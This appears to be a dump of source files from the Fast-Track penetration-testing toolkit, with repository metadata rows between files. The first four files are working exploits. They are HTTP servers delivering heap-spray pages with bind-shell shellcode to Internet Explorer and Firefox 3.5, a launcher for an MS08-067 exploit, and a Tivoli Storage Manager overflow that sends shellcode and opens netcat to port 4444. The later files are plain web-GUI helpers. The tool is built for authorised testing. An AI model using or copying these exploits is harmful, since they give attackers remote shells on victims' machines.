# Import modules needed here..all standard Python modules
#
# XML Parsing Buffer Overflow Heap Spray
#
# Most of the code was taken from Krafty's allinone exploit
# Greetz to Muts, HDM
#
# Rewritten by: David Kennedy aka ReL1K
# Tested on Windows 2k3 SP2
# win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */
#
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import time
import subprocess
import sys
import os
#from bin.include import print_banner
#print_banner()
try:
import psyco
psyco.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_GET(self):
# Always Accept GET
self.printCustomHTTPResponse(200)
# Site root: Main Menu
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""<html><head>""")
self.wfile.write("""<div id="replace">x</div>
<script>
// win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */
var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3");
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>""")
self.wfile.write("""<title>XML Parsing Exploit</title></head><body>""")
self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running</p><br>""")
print "\n\n*** Exploit sent...wait about 30 seconds and attempt to connect to the machine at IP Address: %s and port 5500 ***" % (target)
print "*** Example: open up a command shell and type nc %s 5500 ***" % (target)
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
# In case of exceptions, pass them
except Exception:
pass
httpd = HTTPServer(('', 80), myRequestHandler)
print """
#################################################
XML Parsing Buffer Overflow Heap Spray Universal
#################################################
Most of the code was taken from Krafty's allinone exploit
Greetz to Muts, HDM, Stazz, Sasquatch, Leroy, Whipsmack
Rewritten by: David Kennedy (ReL1K), SecureState
This exploit is already included in Fast-Track v4.0
Tested on Windows 2k3 R2 SP2
win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai
"""
print " Starting XML Parsing Exploit on Web Server:80\n"
print " *** Have someone connect to you on port 80 ***\n"
print " <ctrl>-c to Cancel"
try:
# open for business
httpd.handle_request()
# Serve HTTP server forever
httpd.serve_forever()
# Except Keyboard Interrupts and throw custom message
except KeyboardInterrupt:
print "\n\n Exiting exploit...\n\n"
raise KeyboardInterrupt
#sys.exit()
| 4,319
|
Python
|
.py
| 87
| 46.528736
| 1,061
| 0.725249
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,411
|
firefox35.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/firefox35.py.svn-base
|
#!/usr/bin/env python
######################################################
#
# FireFox 3.5 Heap Spray (WIN, OSX, LINUX)
# LINUX = Cause Crash
# Smart Detection on Browser + OS
# Originally discovered by: Simon Berry-Bryne
# Pythonized by: David Kennedy (ReL1K) @ SecureState
#
######################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
#from bin.include import print_banner
class myRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.printCustomHTTPResponse(200)
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""
<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Exploit (WIN, OSX, LINUX)
LINUX = Cause Crash
Smart Detection on Browser + OS
</br>
Discovered by: SBerry aka Simon Berry-Byrne
Pythonized: David Kennedy (ReL1K) at SecureState
Bind Shell Port: 5500
</br>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>Ihazacrashihazacrash</FONT></p>
<p>
<FONT>Ohnoesihazacrashhazcrash</FONT>
</p>
<p>
<FONT>Aaaaahhhhh </FONT>
</p>
</div>
<script language=JavaScript>
// Initial detection for Firefox.
if (navigator.userAgent.indexOf("Firefox") != -1)
{
// Detect Windows and Linux
if (navigator.appVersion.indexOf("Win") !=-1)
{
// windows/shell_bind_tcp - 317 bytes http://www.metasploit.com LPORT=5500 encoding=shikata_ga_nai
var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" +
"%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
"%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
"%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
"%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
"%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
"%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
"%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
"%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
"%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
"%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
"%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
"%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +
"%uff53%uffd6%u41d0");
oneblock = unescape("%u0c0c%u0c0c");
}
// Detect OSX and Firefox
else if (navigator.appVersion.indexOf("Mac") !=-1)
{
// osx/x86/vforkshell_bind_tcp - 512 bytes http://www.metasploit.com LPORT=5500
var shellcode = unescape("%uc031%u5099%u5040%u5040%ub052%ucd61%u0f80%u7e82%u0000%u8900%u52c6"+
"%u5252%u0068%u1502%u897c%u6ae3%u5310%u5256%u68b0%u80cd%u6772%u5652%ub052%ucd6a%u7280%u525e%u"+
"5652%ub052%ucd1e%u7280%u8954%u31c7%u83db%u01eb%u5343%u5357%u5ab0%u80cd%u4372%ufb83%u7503%u31"+
"f1%u50c0%u5050%ub050%ucd3b%u9080%u3c90%u752d%ub009%ucd42%u8380%u00fa%u1774%uc031%u6850%u2f2f"+
"%u6873%u2f68%u6962%u896e%u50e3%u5350%ub050%ucd3b%u3180%u50c0%ue389%u5050%u5053%ub050%ucd07%u"+
"3180%u50c0%u4050%u80cd");
var oneblock = unescape("%u4141%u4141");
}
// Detect Linux and Firefox
else if (navigator.appVersion.indexOf("X11") !=-1)
{
// causes crash
var shellcode = unescape("%u41%u41");
var oneblock = unescape("%u0d0d%u0d0d");
}
else
{
window.location="about:blank"
}
}
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}
function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>""")
print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target))
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
httpd = HTTPServer(('', 80), myRequestHandler)
#print_banner()
print ("""
#######################################################
#
# FireFox 3.5 Heap Spray (WIN, OSX, LINUX)
# LINUX = Cause Crash
# Smart Detection on Browser + OS
# Originally discovered by: Simon Berry-Bryne
# Pythonized: David Kennedy (ReL1K) @ SecureState
#
#######################################################
""")
print (" Listening on port 80.")
print (" Have someone connect to you.")
print ("\n <ctrl>-c to exit..")
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\n Exiting exploit...\n\n")
raise KeyboardInterrupt
| 5,934
|
Python
|
.py
| 178
| 29.601124
| 163
| 0.659452
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,412
|
ms08067run.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ms08067run.py.svn-base
|
#!/usr/bin/env python
#
# had to add this due to paramariko dying when importing the function
#
#
import os
import sys
import subprocess
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
except ImportError, _:
print ' Install the following library to make this script work'
print ' Impacket : http://oss.coresecurity.com/projects/impacket.html'
print ' PyCrypto : http://www.amk.ca/python/code/crypto.html'
print "\n\n Exiting Fast-Track...\n\n"
sys.exit(1)
definepath=os.getcwd()
launch=subprocess.Popen("python %s/bin/exploits/ms08067.py" % (definepath), shell=True).wait()
| 703
|
Python
|
.py
| 21
| 30.761905
| 94
| 0.737537
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,413
|
ibmcad.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ibmcad.py.svn-base
|
#!/usr/bin/env python
import sys
import os
import socket
import time
#from bin.include import print_banner
#print_banner()
try:
import psyco
psyco.full()
except ImportError:
pass
choice=raw_input(""" Enter which version you want to target:
All JMP ESP's are performed in User32.dll
1. Windows 2000 Service Pack 0 - JMP ESP 77D20738
2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256
3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738
4. Windows XP SP2 - JMP ESP 77d8af0a
<ctrl>-c to Cancel
Enter number: """)
if choice == '1':
choice=("\x38\x07\xD2\x77")
print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'"
if choice == '2':
choice=("\x56\xc2\xe3\x77")
print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'"
if choice == '3':
choice=("\x38\x07\xd2\x77")
print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'"
if choice == '4':
choice=("\x0a\xaf\xd8\x77")
print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'"
try:
try:
target=sys.argv[4]
except IndexError:
target=raw_input("\n Enter the IP Address to Attack: ")
buffer="BirdsflyinghighyouknowhowIfeel"
buffer+="SunintheskyyouknowhowIfeel"
buffer+="ReeedsdriftinonbyyouknowhowIfeel"
buffer+="ItsanewdawnItsanewdayItsanewlifeForme"
buffer+="ItsanewdawnItsanewdayItsanewlifeFormeitsanewdawnitsanewdayforme"
buffer+=(choice)
buffer+="\x90"*4
buffer+=(
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x37\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x71\x41\x32\x41\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x68\x69\x49\x6c\x31"
"\x7a\x68\x6b\x62\x6d\x49\x78\x4b\x49\x39\x6f\x6b\x4f\x39\x6f\x33"
"\x50\x4e\x6b\x52\x4c\x34\x64\x74\x64\x6e\x6b\x42\x65\x67\x4c\x6c"
"\x4b\x41\x6c\x46\x65\x42\x58\x57\x71\x7a\x4f\x6c\x4b\x50\x4f\x65"
"\x48\x4e\x6b\x71\x4f\x51\x30\x37\x71\x58\x6b\x77\x39\x4e\x6b\x75"
"\x64\x4c\x4b\x53\x31\x5a\x4e\x44\x71\x4b\x70\x6f\x69\x6e\x4c\x6c"
"\x44\x69\x50\x42\x54\x45\x57\x4f\x31\x7a\x6a\x36\x6d\x54\x41\x6b"
"\x72\x78\x6b\x69\x64\x47\x4b\x50\x54\x36\x44\x64\x68\x43\x45\x4a"
"\x45\x6e\x6b\x41\x4f\x56\x44\x65\x51\x48\x6b\x75\x36\x6c\x4b\x64"
"\x4c\x50\x4b\x6e\x6b\x71\x4f\x77\x6c\x34\x41\x48\x6b\x53\x33\x66"
"\x4c\x6e\x6b\x4b\x39\x30\x6c\x36\x44\x65\x4c\x51\x71\x4f\x33\x57"
"\x41\x39\x4b\x71\x74\x4c\x4b\x50\x43\x76\x50\x4e\x6b\x41\x50\x54"
"\x4c\x6e\x6b\x32\x50\x45\x4c\x4c\x6d\x6e\x6b\x47\x30\x36\x68\x73"
"\x6e\x32\x48\x6c\x4e\x30\x4e\x56\x6e\x5a\x4c\x56\x30\x6b\x4f\x4b"
"\x66\x71\x76\x62\x73\x31\x76\x45\x38\x74\x73\x76\x52\x71\x78\x63"
"\x47\x63\x43\x76\x52\x31\x4f\x41\x44\x79\x6f\x4e\x30\x65\x38\x58"
"\x4b\x48\x6d\x4b\x4c\x75\x6b\x72\x70\x6b\x4f\x7a\x76\x71\x4f\x6f"
"\x79\x6d\x35\x51\x76\x6c\x41\x58\x6d\x65\x58\x57\x72\x73\x65\x73"
"\x5a\x44\x42\x49\x6f\x6e\x30\x31\x78\x4e\x39\x64\x49\x6a\x55\x4e"
"\x4d\x53\x67\x79\x6f\x6e\x36\x41\x43\x31\x43\x46\x33\x73\x63\x42"
"\x73\x30\x43\x41\x43\x32\x63\x70\x53\x4b\x4f\x38\x50\x43\x56\x71"
"\x78\x74\x51\x33\x6c\x31\x76\x70\x53\x4e\x69\x5a\x41\x4d\x45\x41"
"\x78\x4c\x64\x35\x4a\x30\x70\x6b\x77\x52\x77\x6b\x4f\x6e\x36\x62"
"\x4a\x34\x50\x72\x71\x76\x35\x69\x6f\x4e\x30\x45\x38\x6e\x44\x4c"
"\x6d\x46\x4e\x4d\x39\x46\x37\x59\x6f\x4b\x66\x30\x53\x62\x75\x49"
"\x6f\x38\x50\x63\x58\x6b\x55\x37\x39\x4e\x66\x71\x59\x41\x47\x6b"
"\x4f\x5a\x76\x70\x50\x51\x44\x31\x44\x70\x55\x6b\x4f\x68\x50\x6e"
"\x73\x71\x78\x59\x77\x70\x79\x5a\x66\x71\x69\x66\x37\x6b\x4f\x6a"
"\x76\x52\x75\x4b\x4f\x5a\x70\x71\x76\x31\x7a\x55\x34\x31\x76\x72"
"\x48\x50\x63\x72\x4d\x6f\x79\x78\x65\x53\x5a\x72\x70\x72\x79\x76"
"\x49\x78\x4c\x4b\x39\x4d\x37\x53\x5a\x32\x64\x6d\x59\x6a\x42\x37"
"\x41\x6b\x70\x4b\x43\x4f\x5a\x49\x6e\x63\x72\x56\x4d\x49\x6e\x30"
"\x42\x64\x6c\x6d\x43\x6c\x4d\x62\x5a\x75\x68\x6c\x6b\x6e\x4b\x6e"
"\x4b\x50\x68\x43\x42\x49\x6e\x6c\x73\x62\x36\x69\x6f\x74\x35\x30"
"\x44\x6b\x4f\x48\x56\x53\x6b\x70\x57\x73\x62\x71\x41\x70\x51\x76"
"\x31\x63\x5a\x57\x71\x42\x71\x66\x31\x72\x75\x71\x41\x49\x6f\x68"
"\x50\x75\x38\x4c\x6d\x79\x49\x74\x45\x5a\x6e\x32\x73\x4b\x4f\x6e"
"\x36\x72\x4a\x6b\x4f\x6b\x4f\x50\x37\x79\x6f\x4e\x30\x6e\x6b\x46"
"\x37\x69\x6c\x4f\x73\x69\x54\x52\x44\x49\x6f\x4b\x66\x43\x62\x6b"
"\x4f\x5a\x70\x51\x78\x7a\x50\x4f\x7a\x76\x64\x31\x4f\x33\x63\x4b"
"\x4f\x48\x56\x49\x6f\x48\x50\x61")
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
print " [*] Connecting to "+target
expl.connect ( ( target, 1581 ) )
print " [*] Sending evil buffer, ph33r"
expl.send ( 'GET /BACLIENT HTTP/1.0\r\nHost: 192.168.1.1 '+ buffer+'\r\n\r\n')
expl.close()
print " [*] Check port 4444 for bindshell"
print " Launching netcat to check...If you have a shell you were successful..."
ncstart=os.popen2('xterm -T "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow" -e nc -v %s 4444' % (target))
except Exception, e:
print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n Returning to exploits menu..."
time.sleep(4)
| 5,371
|
Python
|
.py
| 102
| 47.882353
| 132
| 0.676841
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,414
|
ftgui_pageobjects.py
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/ftgui_pageobjects.py
|
''' Created on Sep 20, 2010
@author: j0fer '''
import re
import string
# Header section for webpage
def load_header(self):
headeropen = file("bin/web/html/header", "r").readlines()
for line in headeropen:
self.wfile.write(line)
# Left hand nav section for webpage
def load_nav(self):
navopen = file("bin/web/html/nav", "r").readlines()
for line in navopen:
self.wfile.write(line)
# Footer section for webpage
def load_footer(self):
footeropen = file("bin/web/html/footer", "r").readlines()
for line in footeropen:
self.wfile.write(line)
# Standard function to draw exploit page
def draw_frame(self):
frame = (self.path).lstrip('/')
load_header(self)
load_nav(self)
currentdata = file("bin/web/html/" + frame, "r").readlines()
for line in currentdata:
self.wfile.write(line)
load_footer(self)
# Draw frames which read from textfile(s)
def draw_complexframe(self, title, textfile):
load_header(self)
load_nav(self)
frame_head1 = file("bin/web/html/frame_head1", "r").readlines()
for line in frame_head1:
self.wfile.write(line)
self.wfile.write(title)
frame_head2 = file("bin/web/html/frame_head2", "r").readlines()
for line in frame_head2:
self.wfile.write(line)
currentdata = file(textfile, "r").readlines()
for line in currentdata:
self.wfile.write(line + "<br>")
frame_foot = file("bin/web/html/frame_foot", "r").readlines()
for line in frame_foot:
self.wfile.write(line)
load_footer(self)
# Common task code, displays 'finished' message
def dofinishedpost(self):
load_header(self)
load_nav(self)
finishedpost = file("bin/web/html/finished", "r").readlines()
for line in finishedpost:
self.wfile.write(line)
load_footer(self)
# Common task code, performs exploitation tasks
def doexploitpost(self):
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data = re.split('=|&', raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr = raw_post_data[1].rstrip()
ipaddr = ipaddr.replace("+", " ")
dofinishedpost(self)
# Common error message code
def showposterror(self):
print "Exiting Fast-Track Web GUI.."
print "\nType <ctrl>-c again to exit Fast-Track Web Gui.."
| 2,387
|
Python
|
.py
| 68
| 30.514706
| 69
| 0.684759
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,415
|
ftgui.py
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/ftgui.py
|
#!/usr/bin/env python
"""
Fast-Track Web GUI Front-End, very very beta... This is my first attempt at throwing something
together that is easier to use... It will be a gradual progression and improve as time goes along.
Thanks to everyone for the help and support through this and testing, much appreciated to everyone.
Muts, ShamanVirtual, MaJ, Sleep, TheX1le, Stazz, Leroy (Jenkem), Sasquatch, whipsmack,
and everyone else that has given me ideas, and testing things out.
"""
# Import modules needed here..all standard Python modules
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import string,sys,os,re,subprocess,datetime
# Define current working directory
definepath=os.getcwd()
sys.path.append("%s/bin/setup/" % (definepath))
# Start count to check all system requirements
import depend
# End Dependency check
# Def request handlers to handle GET/POST
sys.path.append("%s/bin/web/" % (definepath))
def load_header(self):
headeropen=file("bin/web/html/header", "r").readlines()
for line in headeropen:
self.wfile.write(line)
# define left hand nav section for webpage
def load_nav(self):
navopen=file("bin/web/html/nav", "r").readlines()
for line in navopen:
self.wfile.write(line)
# Define footer section for webpage
def load_footer(self):
footeropen=file("bin/web/html/footer", "r").readlines()
for line in footeropen:
self.wfile.write(line)
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_GET(self):
# Always Accept GET
# Site root: Main Menu
if self.path == "/":
self.printCustomHTTPResponse(200)
load_header(self)
load_nav(self)
indexopen=file("bin/web/html/index","r").readlines()
for line in indexopen:
self.wfile.write(line)
load_footer(self)
# Style.CSS
if self.path == "/fast_track.css":
self.send_response(200)
self.send_header('Content_type', 'text/css')
self.end_headers()
cssopen=file("bin/web/html/fast_track.css","r").readlines()
for line in cssopen:
self.wfile.write(line)
# Spacer
if self.path == "/images/spacer.gif":
spacer=file("bin/web/html/images/spacer.gif","rb").readlines()
for line in spacer:
self.wfile.write(line)
# Left graphic image for nav
if self.path == "/images/ft_left_pane_1.jpg":
spacer=file("bin/web/html/images/ft_left_pane_1.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# Bullet
if self.path == "/images/bullet.jpg":
bullet=file("bin/web/html/images/bullet.jpg","rb").readlines()
for line in bullet:
self.wfile.write(line)
# Content
if self.path == "/images/content.gif":
content=file("bin/web/html/images/content.gif","rb").readlines()
for line in content:
self.wfile.write(line)
# Fast_Track_01
if self.path == "/images/fast_track_01.jpg.gif":
ft1=file("bin/web/html/images/fast_track_01.jpg","rb").readlines()
for line in ft1:
self.wfile.write(line)
# Fast_Track_03
if self.path == "/images/fast_track_03.jpg":
ft3=file("bin/web/html/images/fast_track_03.jpg","rb").readlines()
for line in ft3:
self.wfile.write(line)
# Fast_Track_08
if self.path == "/images/fast_track_08.jpg":
ft8=file("bin/web/html/images/fast_track_08.jpg","rb").readlines()
for line in ft8:
self.wfile.write(line)
# Fast_Track_09
if self.path == "/images/fast_track_09.jpg":
ft9=file("bin/web/html/images/fast_track_09.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_10
if self.path == "/images/fast_track_10.jpg":
ft=file("bin/web/html/images/fast_track_10.jpg","rb").readlines()
for line in ft:
self.wfile.write(line)
# Fast_Track_11
if self.path == "/images/fast_track_11.jpg":
ft9=file("bin/web/html/images/fast_track_11.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_15
if self.path == "/images/fast_track_15.jpg":
ft9=file("bin/web/html/images/fast_track_15.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_16
if self.path == "/images/fast_track_16.jpg":
ft9=file("bin/web/html/images/fast_track_16.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_18
if self.path == "/images/fast_track_18.jpg":
ft9=file("bin/web/html/images/fast_track_18.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_21
if self.path == "/images/fast_track_21.jpg":
ft9=file("bin/web/html/images/fast_track_21.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_25
if self.path == "/images/fast_track_25.jpg":
ft9=file("bin/web/html/images/fast_track_25.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_26
if self.path == "/images/fast_track_26.jpg":
ft9=file("bin/web/html/images/fast_track_26.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# FT_header_04
if self.path == "/images/ft_header_04.jpg":
ft9=file("bin/web/html/images/ft_header_04.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_03
if self.path == "/images/ft_header_hover_03.jpg":
ft9=file("bin/web/html/images/ft_header_hover_03.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_04
if self.path == "/images/ft_header_hover_04.jpg":
ft9=file("bin/web/html/images/ft_header_hover_04.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_05
if self.path == "/images/ft_header_hover_05.jpg":
ft9=file("bin/web/html/images/ft_header_hover_05.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_07
if self.path == "/images/ft_header_hover_07.jpg":
ft9=file("bin/web/html/images/ft_header_hover_07.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# page_bg
if self.path == "/images/page_bg.jpg":
ft9=file("bin/web/html/images/page_bg.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# btn1
if self.path == "/images/btn_launch_1.jpg":
spacer=file("bin/web/html/images/btn_launch_1.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn2
if self.path == "/images/btn_launch_2.jpg":
spacer=file("bin/web/html/images/btn_launch_2.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn3
if self.path == "/images/btn_launch_3.jpg":
spacer=file("bin/web/html/images/btn_launch_3.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# msautopwn
if self.path == "/images/btn_msautopwn.jpg":
spacer=file("bin/web/html/images/btn_msautopwn.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn_reset
if self.path == "/images/btn_reset.jpg":
spacer=file("bin/web/html/images/btn_reset.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn_browse
if self.path == "/images/btn_browse.jpg":
spacer=file("bin/web/html/images/btn_browse.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn_updateall
if self.path == "/images/btn_updateall.jpg":
spacer=file("bin/web/html/images/btn_updateall.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# updateft
if self.path == "/images/btn_updateft.jpg":
spacer=file("bin/web/html/images/btn_updateft.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# meta update
if self.path == "/images/btn_updatems.jpg":
spacer=file("bin/web/html/images/btn_updatems.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# Fast_Track_10
if self.path == "/images/fast_track_10.jpg":
ft10=file("bin/web/html/images/fast_track_10.jpg","rb").readlines()
for line in ft10:
self.wfile.write(line)
# Update: Update Menu for Fast-Track and various other tools
if self.path == "/update":
load_header(self)
load_nav(self)
update=file("bin/web/html/updates","r").readlines()
for line in update:
self.wfile.write(line)
load_footer(self)
# Autopwn: Metasploit Autopwn Automated
if self.path == "/autopwn":
load_header(self)
load_nav(self)
autopwn=file("bin/web/html/autopwn","r").readlines()
for line in autopwn:
self.wfile.write(line)
load_footer(self)
# SQL Brute Main: Sql brute forcing Main Menu
if self.path == "/sqlbrute":
load_header(self)
load_nav(self)
sqlbrute=file("bin/web/html/sqlbrutemain","r").readlines()
for line in sqlbrute:
self.wfile.write(line)
load_footer(self)
# Quick brute option: SQL brute forcing using quick (like 50 passwords)
if self.path == "/quickbrute":
load_header(self)
load_nav(self)
sqlbrutequick=file("bin/web/html/quickbrute","r").readlines()
for line in sqlbrutequick:
self.wfile.write(line)
load_footer(self)
# Wordlist brute option wordlist: Import an external wordlist and brute force against one or many hosts
if self.path == "/wordlistbrute":
load_header(self)
load_nav(self)
wordlistbrute=file("bin/web/html/wordlistbrute","r").readlines()
